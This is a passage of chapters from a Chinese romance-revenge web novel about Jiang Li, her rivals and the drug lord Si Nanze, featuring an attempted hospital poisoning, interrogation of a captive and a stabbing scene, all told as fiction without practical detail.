是陆家的人,陆临! 陆临见她像是看鬼一样看着他,先是愣了一下,而后嘴角微微抽搐了一下,他有这么吓人么? 夏栎后退好几步,再次扔下一句对不起后逃似的跑开了。 他轻轻叹了口气,对旁边的助理道:“重扎吧。” 夏栎到的时候,手术室的红灯还没有灭。 她低头看了眼自己衣服上大片的鲜红,颓然的蹲了下来,眼眶酸涩。 楚云缩在沙发的一角,紧紧捏着手机的手一直在颤抖。已经过去这么久了,派出去的人却迟迟没有回信。 在手机上的时间跳到23点的时候,楚云崩溃的尖叫了一声,将手机摔出去砸的四分五裂。 这时公寓的门被人打开,韩聿言连门都没来得及关,大步流星的朝着沙发上的楚云走过去。 楚云还没有反应过来,就被他狠狠甩了一巴掌。 “你做了什么好事情!谁让你自作主张的对那两个人下手的!”韩聿言的身上哪里还有半分斯文人的气质? 此时的他双目通红,迸发出的冷意像一把锋利的刀,割开楚云的皮肉,凌迟她的心脏。 “这样漏洞百出的事情,已经是第二次了!上次是被江淮之抓到小辫子,这次又被司南泽抓到了把柄,你是存心想要害死我吗!?” 韩聿言的脸上还带着伤,嘴角裂开来,颧骨上青紫一片。 是司南泽打的,如果不是裴书在场,他怕是会直接一枪送他去见阎王。 这个蠢妇!怎么可以在同一件事情上失手两次!? 楚云捂着脸,缓缓站了起来,“先是砸公司,然后又潜进别墅,不杀他们才是真的害了你!害了我!” 做贼心虚这四个字在楚云身上体现的淋漓尽致。因为心里知道自己做了什么事,所以稍微有点风吹草动就会乱了方寸。 “司南泽有什么资格来怪我们?跟我通风报信的人不就是他的人吗?” 韩聿言的眼神一暗,沉默了一会儿,扔下一句话:“从现在开始,我会让人看着你。在发布会开始之前,你不准再踏出这个公寓一步!” 然后摔门而去。 —— 秋水湾。 “阿愿!”江淮之骤然从噩梦中惊醒,猛地从床上坐了起来,后背有些凉飕飕的。 他呼吸急促,鼻尖和额头都是冷汗,胸口传来一阵一阵的钝痛,右眼皮也一直跳个不停。 打开灯,江淮之看着满墙的照片,心痛不安的感觉才慢慢消散。 看了一眼时间,已经是凌晨一点多了。 “嗡——”床头的手机开始震动。 江淮之捞过来看了一眼,是叶止打来的电话。 “我在医院抓到了一个人,是跟在司南泽身边的人。” 第208章 姜梨受重伤 重新扎了针的陆临躺在急诊留观的病床上闭目养神。本文搜:晋江文学城 免费阅读 身边跟着的助理这时走了进来,看陆临在睡觉,站在床边有些踌躇。 陆临本来就没睡着,感官又很敏感。这么个大活人站在旁边看着他,总觉得有些瘆人。 他睁开眼,有些不耐:“我是胃痛,不是要死了,你一直盯着我做什么?” “少爷,我刚刚看到司四少了。” 陆临:“就他那个身体状况,大晚上的来医院有什么好奇怪的?” “我看他抱了个满身血的女人,好像是时愿……”助理的眼神越来越虚,说话声音也越来越小。 时愿?她不是已经跟江淮之结婚了吗?不是在国外养病么?怎么会跟司南泽在一起?! “你看清楚了么?”陆临从床上坐了起来。 助理点头,又补了一句:“刚刚撞上您的那位小姐,也在。” 又提起这个人,陆临也后知后觉的总觉得在哪里见过她。还有她看他的眼神,也很奇怪。 她肯定认识他。 ……… 姜梨被司南泽带回了司宅。 佣人给她换了一身干净的衣服,麻药的劲还没有过,她还在昏睡。 司南泽将手上沾到的血迹洗掉,用干毛巾一点点的擦拭干净后,才伸手摸了摸她的脸颊。 摸到一点温热,他的手僵了一下。 姜梨还在哭。因为孩子,她和江淮之的孩子。 司南泽将手收了回来,帮她盖好被子。吩咐佣人和管家看好姜梨,脸色阴沉的走了出去。 下楼的时候遇到了被吵醒的司南衍。 司南衍闻到了若有若无的血腥味,睡意顿时清醒了一半,紧张的问:“四哥,你受伤了?” “没有。”司南泽没有跟他解释,和裴书风风火火的出了门。 他的下颚紧绷,带着浓烈的怒意。斯文人的火气一旦烧起来,那就是燎原烈火。 今天出什么事了? “通知裴诗,让她现在就到半醒,我有事情要问她。”司南泽坐上车,对裴书吩咐了一句。 “是,先生。” 樱洲医院。 一个身穿白大褂的医生来到了顶层,这里是单独的重症监护室,也就是叶辞所住的病房。 门口守着好几名保镖。 他将工作牌递过去,公式化的开口:“给病人做个检查。” 为首的黑衣保镖接过工作牌检查了一下,然后给他放了行。 病房里的仪器声响个不停,病床上的男人戴着氧气罩,一动不动、毫无生气的躺在那里,手上打着点滴,是营养液。 医生的目光变得狠戾,他从口袋里摸出针筒,将针头对准输液瓶,刺破橡胶瓶口,一点点将里面的药液推了进去。 今晚,就是叶辞的死期! 他收起针筒,想要离开这个病房的时候,床上的人突然扯掉了针管,然后一把抓住了他的手臂! 一瞬间,两个人就扭打在了一起。 病房门被人一脚踹开,四个保镖拿着枪冲了进来。 那个医生很快就败下阵来,他的眼睛死死盯着把他按在地上的男人,他们被摆了一道,躺在病床上的人根本就不是叶辞! 穿着病号服的叶止一把扯掉了他的口罩,看清他的脸时喊了他一声:“裴助理。” “叶辞呢?”裴安问他。 叶止没有回答他,意味深长的笑了笑,手掌一挥,另外一名保镖将一个被五花大绑的人丢在了地上。 是他们安插在医院里通风报信的眼线。 这样的情形,裴安一下子就理清了所有的事情。前不久姜梨才来看过叶辞,在她来过之后叶辞才被悄无声息的转移了。 她一定是知道了什么,才会暗地里跟叶止通风报信,设下一个局让他们自投罗网! 裴安紧咬着后槽牙,眼里满是愤恨。 叶止敛起笑,手掌挥了一下:“不要惊动其他人,带下去!” ……… 江淮之坐在沙发上,手肘撑在膝盖上,手掌撑着脸,神色淡淡的看着被吊着绑起来浑身都是伤的裴安一言不发。 他被抓回来的时候身上就是带伤的,现在已经是血淋淋的了。 叶止看向江淮之,将手里的刀扔到了他脚边,“你不问几句?” 刀身上都沾满了鲜红色的血。 “你都已经下手这么狠了,也没听他哼一声,骨头比我之前抓到的两个人还要硬的多,问不出什么名堂来。”江淮之的声音不紧不慢,漫不经心道:“直接弄死算了。” 听到江淮之的话,裴安的手捏成了拳头。 他嘴里说的那两个人,一个是裴乐,另一个是裴琴,两个人都死了。 都是栽到了江淮之的手里。 安静的环境里,骨骼摩擦发出的“咔嚓”声格外明显。 江淮之挑了挑眉,“裴助理是认识我说的那两个人吗?” 裴安死死咬着后槽牙,不说话,拳头却依旧捏的咯咯作响。 “还以为你们毒贩也情深意重,看来是我想太多了。”江淮之的 眼神讽刺,“对于你来说,他们可能连同事都算不上,死了就死了。对于司南泽,他们只是任务失败的棋子,没有价值了,死了也没什么大不了的。” 江淮之的身体后仰,背靠在沙发上,继续说:“他们的手指和四肢都被打断,最后眼睛被挖了都不肯说任何信息。还真是………” 他一字一顿道:“两条听话衷心的好狗。” 裴安的拳头捏紧又松开,这样反复了许多次,他突然大笑了起来。 “我不认识他们,你说再多都激怒不了我。”裴安缓缓抬头看向江淮之,“我家先生被病痛缠身多年,没有做过任何一件违法乱纪的事情。” “刺杀叶辞是我一个人的主意,谁让他跟姜梨走的那么近的?如果不是姜梨非要跟他搅合在一起,如果她像对待你一样对叶辞,他根本就不会遭遇车祸!所有跟我家先生抢东西的人,都必须死!叶辞遭遇的所有都是因为姜梨!” 叶止听完他的这一段话,感觉自己的耳朵受到了荼毒,受到了一万点的暴击。 左一句我家先生,右一句我家先生,典型的脑残粉,铁定是问不出什么了。 江淮之站起身,顺手关掉了手机开着的录音,一声不吭的往外走。 叶止看着他离开的背影,犹豫了好一会儿,最后还是追出去喊住了他。 “在给你打电话之前,我无意间在医院看到了姜梨,她被一个男人送来的。” 江淮之的呼吸一窒。 “她受伤了,具体做了什么手术不太清楚。” “但是情况好像很不好。” 江淮之感觉后脑勺被重重的敲了一下,耳边是一片嗡鸣。 想到他做的那场噩梦,心脏缓和的疼痛再度席卷而来,大脑也是一阵阵的发晕。 第209章 把她们穿成糖葫芦 半醒。本文搜:晋江文学城 免费阅读 司南泽半靠着站在窗边,削瘦修长的手指夹了一根点燃的烟,幽暗的灯光映衬着他轮廓分明的脸庞。 他眼眸锐利如刀,轻飘飘的瞥了眼裴诗,压迫感如潮水般涌来。 裴诗的喉咙好似被一只无形的大手掐住了,窒息感朝她席卷而来。她脸色发白,双腿一弯就跪了下去。 她没有出声,低着头不敢看司南泽,但是背却挺的笔直。 “裴安他们经常被罚,只有你是例外。”司南泽声音很轻,语气和他的眼神形成了强烈的反差,温润又柔和,“倒不是因为你最听话懂事,而是你年纪小,那时候身体又弱,所以我才不去计较。” 司南泽提步朝她走了过去,手掌掐住了她的下颚,强迫她仰起头跟他对视。 他的手上还夹着一支点燃的烟,裴诗能清晰的感受到烟头滚烫的温度。一点烟火落到了她的肩头,衣服被烫出来了一个洞,糊味飘进她的鼻间。 “我对你的这份宽容和体贴,换来的居然是你的背叛。” 司南泽说完这句话后,裴诗的瞳孔猛缩了一下,她想也不想的反驳:“先生!我没有!” “是吗?”司南泽勾出一抹阴恻恻的笑,让人不寒而栗。 他甩开裴诗的脸,吸了一口烟。 下一秒,裴诗痛苦的尖叫声响彻在包间的每一个角落。空气里还隐约飘着一股淡淡的、肉被烧焦的难闻气味。 烟头死死抵在裴诗的颈侧,皮肤被烫的溃烂,旁边的一圈肉都变成了黑色,但司南泽只是冷眼看着,丝毫没有要松手的意思。 一下不够,接着是第二下,第三下……… 颈侧那一片被烫出了好几个可怖的水泡。 裴诗的脸变得惨白,在第一下过后就反应了过来,死死咬住嘴唇将痛苦的叫声憋了回去,默默的承受。 司南泽站了起来,居高临下的看着裴诗,眸光冷凝,眼底都是波涛汹涌的怒意,“你把阿愿的行踪告诉了楚云,这还不叫背叛我吗?” “她是姜时愿,是韩家娶进门的夫人。”裴诗的眼睛里突然迸发出浓烈的恨意,“裴琴是被韩家人逼死的,我没有想要背叛先生,我只是想为我姐姐报仇而已!” “我不管你有什么缘由,背叛她就是背叛我,伤她也是伤我,你该死。”司南泽一脸平静。 裴诗猛然一僵,机械般的仰起脸,不可置信的看着眼前的男人。 他的话犹如一把利剑狠狠刺穿她的心脏,比颈侧的烫伤更让她觉得痛苦,喉咙翻腾着苦水。 裴诗永远都记得,初见时他怜悯众生的眼神,就像是电视里的佛祖和菩萨一般温雅,淡然高华。 他从来没有对她动过怒,就像他说的那样,不论她犯了多大的过错,他从来没有罚过她,对她格外的宽容。 唯独这一次。 却也不是因为任务失败,仅仅只是因为一个姜时愿。 十几年的养育之恩,一起经历过多次生死,裴诗对他的感情早就已经不纯粹了。 司南泽在裴诗心里,是一轮皎月。 她自知配不上他,这份感情她从来没有表露出来,也没有过任何非分之想。 只是他如今护着的女人,是她仇人的夫人。 心才会那么痛。 司南泽还想有动作的时候,关着的门被人推开,是满脸慌张的裴书。 “先生,裴安出事了!” 原本失魂落魄跪在地上的裴诗闻言立马站了起来,跌跌撞撞跑到裴书面前,手抓住了他的胳膊,“你说什么?你说裴安怎么了?” “他刺杀叶辞的任务失败,被当场抓住。”裴书闭了闭眼,“在被带去警局的途中,服毒自尽了……” 失败?裴诗厉声问道:“安排在医院的人跟他里应外合,为什么会失败?!” 他可是裴安!从来没有过败绩!司南泽最最得力的干将!失败这两个字怎么会出现在他的身上? “不清楚。”裴书看向一直没说话的司南泽,声音颤抖,“因为是杀人未遂被当场抓住,法医那边第一时间就进行了解剖,照片信息我已经确认过了。先生,警局那边让您亲自去认尸。” 也就是说,没有使诈。 裴安死亡是板上钉钉的事实。 裴诗只觉得自己的脑波都变成了一条直线。 她眼前一黑,当场昏死了过去。 ——— 姜梨第二天一早就醒了过来,司南泽不在。 她让佣人叫来了夏栎,打开电脑查看楚云家的门口的情况。 被人追杀的时候姜梨就想到了不对劲。 依楚云的那个性子,如果知道她的行踪和计划,在她还没有进沈家别墅的时候就会派人阻挠她了,而不是等她拿到了东西再来杀她。 韩聿言也不可能做这种事,他比楚云有脑子的多。就算想要灭口, 不能保证百分百成功他是绝对不会动手的。 那就只有一种可能性,她和夏栎这几天一直被人监视跟踪,那个人看到她们进了沈家别墅之后,去给楚云报了信。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 果不其然,在监控视频里,那天晚上的确有个人去找了楚云,而且还是熟人——— 裴诗! 姜梨眯起眼,脸色骤然阴沉了下来。 看着不显山不露水的,在背地里给她捅刀子是吧? 她的手指敲了几下键盘,把几段录像导了出来,传到了自己的微信里。 掀开被子,翻身坐了起来。 “你要干嘛?”夏栎立刻拦住她,“你刚做完手术,需要休息静养。” 姜梨不顾她的阻拦,“不耽误我报仇。” 换好衣服,姜梨从床头柜拿出那把黑枪揣进口袋,清冷的眸子里满是杀意,“不把那两个贱人打成筛子,我“姜”字就倒过来写。” 楚云,裴诗。 她一个都不会放过。 夏栎拉住她,却被姜梨一把甩开。她现在是伤员,根本拦不住她。 现在已经是冬天了,她才小产过,这样出去吹一遭以后肯定会落病根。 她现在也很虚弱,根本就是在逞能。 姜梨气势汹汹的往外走,夏栎追在她身后,一边说:“楚云现在肯定知道你没死,她估计早就躲起来了,你去了也是一场空。” “找不了她就找裴诗,我今天就是把整个樱洲翻过来,也要把这两个贱人串成糖葫芦!” 刚打开房门,就差点跟门口站着的两个男人撞上。 抬眼,对上两双高度震惊的眼睛,然后僵在了原地。 喜欢他来时风起云涌。 第210章 狗血,太狗血了 陆临和司南衍看着眼前的这个女人,脑筋都抽了一下。本文搜:大神看书 免费阅读 到底是见过大场面的人,所以才没有被吓得尖叫,只是傻在原地而已。 司南衍一直都知道司南泽身边新跟了一个姑娘,因为姜梨学校的事情是司南泽请了他帮忙安排的。裴安当时只说是司南泽身边新跟的姑娘,司南衍以为是他新收养的人,当时他又忙的不可开交,压根没仔细看送过来的资料,直接就签了字,所以不知道名字。 结果这个人居然是已经“死”了的姜梨。 脑子里又顿时扯出来一段记忆,去年在酒吧遇到了喝醉的姜梨,司南泽对她的态度,宝贝的不能再宝贝了。 卧槽啊…… “姜梨?”陆临最先反应过来,喊了她一声。 “……….”这么近的距离,姜梨也知道说你认错人了这句话会非常蠢,索性就直接装哑巴不吭声了。 夏栎看到陆临,几乎是本能的就往姜梨身后躲了一下,然后快速低下头。 姜梨没有忘记自己要做什么,短暂的惊愕之后就要出门。 “你不能出门。”司南衍伸长手抵在了门框上,拦住她的去路,“我四哥说的,让我看好你们两个。” “咔嚓——” 手枪扣动扳机的声音格外的清脆响亮,在场人的心脏都因为道声响颤了一下。 姜梨举起枪,枪口紧紧抵在了司南泽的腹部,目光冷冽,“不想死就滚开。” 司南衍居然真的被她眼里的狠戾给吓住了,有些恍惚。 他对姜梨的印象一直都是娇弱的温柔小白花。有点脑子,但是威胁不大的一个手无缚鸡之力的漂亮花瓶。 司南衍低头看了一眼抵着自己的枪。 他对她的误会,好像是有一点大。 于是,司南衍缓缓放下了倚在门框上的手,给她让道。 司南衍一点也不怀疑姜梨说的话,眼神不会骗人,她真的会开枪。他是司氏的总裁,还是很惜命的。 姜梨刚走下几个台阶,司南泽就风尘仆仆的回来了。他的头发很凌乱,眼下有一层让人无法忽视的乌青,看上去疲惫不堪。 在看到她手里握着的那把枪上时顿了一下。 “外面冷,下午会下雨,不适合出门。”司南泽走到她面前,刚想要牵她的手腕,就被她避开了。 姜梨没有说话,只是看着他。眼神冷凝,又肃杀。 就在这一刻,司南泽清晰的在她身上看到了姜祈安的影子。 这一刻,她的性格甚至比姜祈安更有棱角、更狠厉。 是他从未见过的模样。 司南泽的大脑一下子就映出另一个男人的身影,本就不算好看的表情又沉了几分,一片乌云密布。 他的嘴唇微动,姜梨直接说:“我要楚云的命。现在、立刻、马上就要她死。” 姜梨刚醒,第一件事就是要楚云的命。 她这样失控,到底还是心痛她和江淮之的孩子没有了,所以一刻也等不急的想要报仇。 “不过是我不知情的境况下怀上的孩子,没了就没了,没什么好可惜的。我就当作是做了一次人流。” 陆临一愣,抬眼看向她。 姜梨知道他在想什么,她伸手一把拽住他的衣领。她比他站高了两个台阶,拉平了两个人的身高差。 她却偏偏还要往后踩上一个台阶,垂着眼皮俯视着他,一字一句道:“我的人生底色从来都不是非黑即白,而是以牙还牙,以眼还眼。我可以是自己躺在手术台上拿掉孩子,也可以是自己栽一跟头摔掉他。但绝对不能是因为别人给我捅刀子,导致我被动的上了手术台。” “利益当前,你不让我对楚云下手我不怪你。但是楚云为什么突然要杀我,你心里比谁都清楚!” “我和江淮之十几年的感情,在知道他是杀我哥的凶手之后我都能毫不手软的开枪杀他。楚云和裴诗这两个贱人算什么东西?我凭什么饶过她们?我又凭什么要为你的私心买单?” “除非你愿意把人带到我跟前来,做不到就别阻碍我。否则,就算是你我照样会杀。我姜时愿,吃不了一点亏。” 还没彻底搞清楚状况的陆临和司南衍听完姜梨的话,又冷不丁的被喂了一个大瓜。 姜时愿不是以前的时愿吗?也就是江淮之明媒正娶的———韩夫人。 陆临和司南衍的大脑飞速运转,很快就理清楚了事情的大概,将所有因果都串在了一起。 从头到尾,江淮之娶的人都不是时愿,而是姜梨,她才是真正的时愿。江淮之想娶她为妻,但是她却想要复仇,于是在新婚夜动手了。 所以才会突然传出港城新晋的韩夫人在新婚夜突然抱病,被紧急送往国外疗养的新闻。 江淮之恐怕现在都在对她念念不忘,不然也不会编出这么一件事来掩人耳目,怕是韩家人都不知道会有这样的内幕。 听刚刚这段话茬,姜梨应该是不知道自己怀了江淮之的孩子。是因为楚云制造的意外,让她受了重伤流产了才知道。 这都什么狗血戏码?! 姜梨说完就把枪放进 了口袋里,开始细心的帮他整理被她抓皱的衣领。她笑盈盈的看着他,手掌轻轻蹭他的脸颊,从远处看上去温情脉脉。 当极致的温柔和滔天的怒意同时出现在一个人身上的时候,就会让人深刻的感觉到诡异和阴森。 让人头皮发麻。 “从老宅到公司,一个来回三个半小时怎么着都够了,我只等你这么久。”姜梨笑着轻拍了一下他的脸,凑到他耳边,用粤语说了一句:“阿泽哥哥,好拣。”(阿泽哥哥,好好选。) 她也不听司南泽的回答,转身上了几步台阶,拉着夏栎一起重新回到了卧室。 里面开了暖气,姜梨脱掉了外套,拿着那把装了消音器的黑枪把玩。 “你是看司南衍和陆临在,故意这样的吧?” 夏栎看向她,“你扯出和江淮之的事情,就是有意想让他们知道你和江淮之现在是有着血海深仇的关系,也是故意说给司南泽听的。” 包括逼司南泽去把裴诗带过来这件事,说她不是故意的,夏栎可不信。 姜梨什么人她还是了解的,她要是想报仇,哪怕是上刀山下火海都会自己去解决,哪里用得着逼司南泽在她和裴诗之间二选一? 且不说她心里清楚,司南泽根本就不可能去处理裴诗,把自己跟裴诗这样的毒贩摆在同一个水平线,让一个大毒枭来选,姜梨怕是会恶心的三天吃不下饭。 姜梨气定神闲,哪里还有刚刚盛气凌人的样子?她挑了挑眉,语气笃定:“楚云要召开的发布会,时间要推迟了。” “明天还要麻烦你跑一趟,把韩聿言的dna送到纪繁星手里。” 第211章 这样够吗 司南衍受到了不小的冲击,他想要问些什么,但是司南泽已经走了,应该是去带姜梨要的人了。本文搜:吾看书 免费阅读 “不要出去乱说。”走的时候还扔下了这么一句话。 不用他说司南衍也知道姜梨没死的事情不能说出去。 港城楚家虽然落败,但是也不是全军覆没,剩下的人还是知道她没死,绝对不会放过她。 司南衍的语气懒散:“昂。雨大路滑,注意安全。” 司南泽走后,司南衍盯着姜梨的卧室门看了一会。他抿了抿嘴角,眼神微微暗了暗。 陆临来的时候司南泽还没有回来,客厅只有司南衍一个人。 “哟。”司南衍掀开眼皮看了一眼陆临,扯起唇角笑了笑,“陆四少。” 虽然两家是世交,但是陆临跟司家人关系并不好,除了南诗奕和司南泽。 “你四哥呢?”陆临问。 司南衍也没拐弯抹角,“应该是去公司了。” 他抬手看了看腕表,对陆临道:“估计也在回来的路上了。” 陆临闻言,毫不客气的坐了下来。 司南衍起身去取茶叶。本来想拿生普,但是最后取了熟普。 动作不算娴熟的泡了一壶茶,然后出汤。 一杯放到了陆临面前。 陆临有些诧异的看了他一眼,司南衍看不惯他不是一天两天了,能好好说话就不错了,更别说是给他亲自泡茶了。 司家小少爷,虽然不如江淮之和司南赫这两个嫡出那么矜贵,但也是小霸王,向来不把为人处事的那一套虚伪的礼仪放在眼里。 今天是要闹什么? 陆临没说什么,端起茶杯抿了一口,然后说:“我没我大哥那么懂茶,但你今天这茶泡的有点烂。茶汤颜色太深,味道太苦太涩。” 司南衍莞尔,“当年上茶艺课的时候没怎么听,将就吧。” 对于茶,陆临不怎么感兴趣,也就不挑剔。 他又不品茶,能喝就成。 陆临放下茶杯,视线绕着周围看了一圈,似是不经意的问了一句:“我刚刚来的时候看到四楼的灯是亮的,还看到人影了。司宅的四楼都是客房,别墅里还有客人在?” 司南衍看向楼梯口,拖腔带调的“啊”了一声,“是啊,怎么?” “你四哥,是不是撬别人墙角了?”陆临刚说完这句话,外面就响起来一阵引擎声。 门打开,是司南泽回来了。 不过依旧是他一个人,他没有把裴诗带来。 他身体状况并不好,身边向来都会带着裴安,很少一个人,于是陆临下意识就问:“裴安呢?” “你怎么来了?”外面雨很大,司南泽身上沾了雨气,头发有些湿。他看向陆临,并没有回答他。 陆临也不隐瞒,“我昨天在医院急诊输液,看到你了。我还以为你身体又出问题了,结果看到你怀里抱了个满身血的女人。” “出什么事了?” 司南泽注意到茶几上的茶。他垂下眼皮,遮掩住眼里冷凝的情绪,“你和南衍继续聊,我先上去了。” 他这其实算是在委婉的赶人了,但陆临今天非要一探究竟,他要确定司南泽藏起来的人到底是不是时愿。 在司南泽上楼的时候,陆临出声了,“我看到那个女人长得很像时愿。” 司南泽上楼的脚步顿了一下,然后看也不看他,冷声:“跟你没有关系。” 那可太有关系了。 陆临虽然不喜欢这个女人,但是姜梨生前就说过,南诗奕很在意时愿。 之前是觉得江淮之是棵大树,他跟司家又翻脸了,时愿当他的女人没什么不好的。 但是现在她又突然跟司南泽搅和在一起。 陆临记得,司南泽对她有非分之想。谁知道时愿是不是被他抢过来的? 她是南诗奕到死都惦念的人,这个人,这件事怎么会跟他没关系? 陆临又给自己续上了茶,大有今天要留宿在这里的意思。 司南衍不动声色的笑了一下,等会有好戏看了。 ——— 司南泽进来的时候只有姜梨一个人在卧室里,她坐在床上,在用一块丝巾一点点擦拭着手里的那把打造精致的短刀。 姜梨的窗帘是拉开的,她刚刚就站在窗前,当然知道司南泽没有带人回来。 她低头垂眸,司南泽走近了也没有看他一眼,认真的擦拭刀刃。 司南泽走过去站到她面前,离得近了,姜梨闻到他身上有一股庙里烧香的那种香火味。 姜梨的脸色和唇色都很苍白,手掌包着纱布,是跳车的时候手掌着地被擦伤了。 宽大的睡衣衣袖因为她弯起的胳膊向后滑,她没有穿鞋和袜子,露出的手腕和脚腕都无比纤细、削瘦,好似一折就会断掉,非常虚弱。 卧室里虽然有暖气, 但是她刚小产,最是不能受凉,光着脚不行。 “躺被窝里吧,很冷。” 姜梨没有理他,继续擦着手里的刀。 司南泽找了一双袜子,弯下腰想要给她穿。手还没碰到她的脚,就听到姜梨说:“你现在最好别碰我,当心我杀了你。” 这章没有结束,请点击下一页继续阅读! 她的声音轻柔,语气却跟结了冰似的,脚也缩了一下,抗拒非常明显。 司南泽知道她为什么生气。 “阿愿。”他的声音沉了沉,“裴安昨晚死了,裴诗跟他感情很好。” 这跟她有什么关系? “你觉得我和夏栎的办事能力怎么样?”姜梨突然问了这么一个问题。 樱花帮他办过不少事,没有失败的,她身边的人当然也不差。 司南泽:“很厉害。” “我们两个能顶替裴诗的位置,为你鞍前马后,做任何事情。”姜梨放下丝巾,观赏被她擦的锃亮的刀。 司南泽听懂了她的意思,她不会放过裴诗。 杀了裴诗,她和夏栎补上她的位置,不会对司南泽有任何影响。 沉默了良久,司南泽对她说:“阿愿,孩子以后还会有的。我还需要裴诗帮我办事,不要为难我。” 孩子还会有的?这是什么话? 姜梨握着刀柄的手越来越用力,手背青筋凸起。 “那我换个条件。”她眯了眯眼,用刀尖挑起他的下巴,“那我们换个条件,我不要裴诗的命了,但是楚云要召开的新闻发布会必须推迟,为我的计划争取时间。” “另外,我要韩聿言的dna。” 司南泽毫不犹豫的答应了下来。 姜梨悠悠笑了,“跳车摔下来很痛,清宫手术也很痛。先生,你在我和下属之间选了后者。” “阿愿……”司南泽想要解释,姜梨没给他开口的机会。 她打断他:“刚刚那两个条件是用来抵消我所受的痛苦,但是现在还差一笔账,我也要在我的下属和先生中间选一个。” 刀尖从司南泽的下巴上移开,姜梨笑的越来越阴森可怖,“夏栎的手臂骨折了,你要袒护裴诗,这笔帐我就只能算在你头上了。” 她话音一落,刀刺进人体的声音就传进了耳朵里。 司南泽低头看着刺进左肩的刀,又对上姜梨的眼睛,心口痛了一下。 她的眼神很冷,带着强烈的恨意,但更多的是委屈和控诉。 姜梨刚刚说过,她的人生底色就是以牙还牙以眼还眼。 他选了裴诗,所以她也要选夏栎。夏栎伤得是左手臂,所以她就刺向了他的左肩。 带刺的野玫瑰,当然吃不了一点亏。 她刚做完手术,力气并不大,这样刺过来也只是让刀身捅入了两三厘米而已。 司南泽伸手握住了姜梨的手腕,带着她让她刺的更深一些。 “这样,够吗?” 喜欢他来时风起云涌。 第212章 不想英年早逝就离我远点 司南泽捏着她的手腕,将刀拔了出来,紧接着又刺进了第二刀,第三刀。本文搜:我的书城 免费阅读 整个过程他都没吭一声,布着血丝的眼睛赤红,嘴边勾起来一抹笑,“阿愿,解气了吗?” 姜梨紧紧握着刀柄,看着伤口处不断涌出来的血,冷笑着说了一句:“没有。” 她打江淮之的那一枪,可是在心脏附近。 她的孩子也没有了。 现在不过是在他肩膀上刺几个窟窿流点血而已,他又不会死。 司南泽握住她的手,再次将刀拔了出来。 刀尖对准心脏,毫不犹豫的刺下第四刀。顿时,鼻尖都是血腥味。 他还是没有一点疼痛的样子,依旧笑着问她解没解气。 这副模样,总让姜梨觉得这几刀非但没让他疼,反而给他刺爽了,就觉得挺没意思的。 她拔出刀,带出来的血滴在了地上,砸出一朵血花。姜梨瞥了一眼,淡淡说:“我饿了。” 司南泽笑着应:“我让他们准备。” 都已经血流不止了,还帮她把袜子给穿好了,姜梨身上没有沾到一点血,依旧干干净净。 司南泽抽出纸巾将地上的血迹擦干净,站起来的时候还是晃了一下。 姜梨当没看见,拿起丝巾手帕擦了擦刀柄上残留的指纹,然后递给司南泽。 “我怕你弟弟不会放过我。” 司南泽徒手接过刀,一边往外走,一边对她说:“乖乖在这待着,吃的会有人送上来。” 他扶着楼梯扶手一步一步走下去,外套前襟已经被血浸透,晕染出一大片的深色印记。森白的手握着一把沾上鲜红的刀,像从地狱里走出来的鬼魅。 司南衍看他这副模样下来,吓了一大跳。 陆临也愣住了,这是怎么回事!? “四哥!”赶紧站起来去扶他,想送他去医院,司南泽不愿意,只让他叫家庭医生来。 他满脸都是冷汗,没有血色的唇瓣有些颤抖,报了一堆菜名,然后交代:“一定要少油,少盐。” “………”司南衍听他报的都是补气血的菜谱,是做给姜梨的,她刚做过手术。 把司南泽送到卧室,司南衍让陆临看着,他自己则是去跟家里的佣人和管家交代,今天的事不能说出去。 下着暴雨,但是司南衍在电话里很暴躁,情况比较严重,所以家庭医生来的不算慢。 检查下来,刀口并不深,没有伤到要害,只需要进行缝合就可以了。 “不要麻药。”司南泽躺在床上,冷汗淋漓。 陆临皱眉,骂道:“做角膜移植手术打麻药的时候是不是打你脑子里了?眼睛是不瞎了,但是脑残。” 四个刀口,不打麻药疼也疼死了,找什么虐? 司南泽没回答他,只一味坚持不要麻药,家庭医生无奈,只能听他的。 生缝了二十一针。 疼的他额角青筋暴起,但是全程没有一声哀嚎。 陆临中途就出去了,知道他是为了什么,司南衍也没有拦他。 陆临跟司南衍说的也不是假话,他来的时候在楼下的确看到了四楼的客房亮着灯,也的确看到了一个人影。 所以他直接准确的站到了一个房间的门前。 抬起手,敲了三下。 原本他还想了好几个诓人的借口,但却没想到里面的人没什么防备心,直接开了门。 姜梨以为是佣人或者是司南衍,但没想到会是陆临。她反应过来想关门,但是被陆临给挡开。 “姜梨?!” “你没死?!” 陆临的反应比司南衍大的多,毕竟他跟姜梨多少算得上朋友,葬礼他也去参加了,并且每个月都会抽出一天时间去墓园“看”她。 结果死了大半年的人,他祭奠了大半年的人,此时此刻就活生生的站在他面前。 姜梨抓紧门把手,并不承认,“你认错人了,我是时愿。” 陆临眼皮跳了一下,丢给她一个“你在说什么疯话”的眼神,“我不是瞎子。” 她的头发剪短了,人也瘦了一大圈,但是那张脸还是漂亮的不可方物。虽然时愿跟她长得是很像,但也只是眉眼有六七分相似而已,哪有这么精致? 陆临绝不可能认错,她就是姜梨。 “我真的是时愿。”姜梨表情异常严肃的又重复了一遍,“姜时愿。” “行。”陆临顺着她的意思,然后问:“司南泽的伤是你捅的?” 姜梨面色不变:“他神经病,自残伤,跟我无关。” 这段对话下来,陆临感觉姜梨像变了一个人似的,实在是太冷了,从骨子里散发出来的阴冷。 “你是姜时愿,江淮之娶的人是你,如愿以偿嫁给他,你好好的韩家夫人不当,跑来这里做什么?还跟司南泽搅和在一起。” “知道江淮之新婚 之后为什么突然出国消失了三个月吗?” 姜梨扯唇冷笑,眼里都是掩藏不住的仇恨和嫌恶,“他中了枪伤,我打的。如果不是他的死讯,就不要在我面前提他,真的恶心死了。” 她的周身围绕着一股浓烈的怨气,宛如一个怨鬼,陆临一时间居然没反应过来,愣愣的看着她。 姜梨昨晚流的血是司南泽今天的数倍,她现在的确是很虚弱,站这一会就觉得头晕,很累。 司南泽说裴安死了。 如果不是她提前把叶辞转走,如果不是她和叶止未雨绸缪,死的人就是叶辞了。 姜梨想起前段时间,因为她要去见叶辞,司南泽的态度。回想起他当时的眼神,她的脊背一阵发凉。 “不想被人暗害英年早逝,就离我远一点。”她深深的看了眼陆临,然后“砰”的一声关上了门。 背靠着门板,全身骤然脱了力的倒在了地上。 姜梨惨白的唇有些发抖,她伸手摸了摸平坦的小腹,一滴眼泪毫无征兆的滚了出来。紧接着跟外面还在不断下大的暴雨一样,愈演愈烈。 喜欢他来时风起云涌。 第213章 我要否决她! 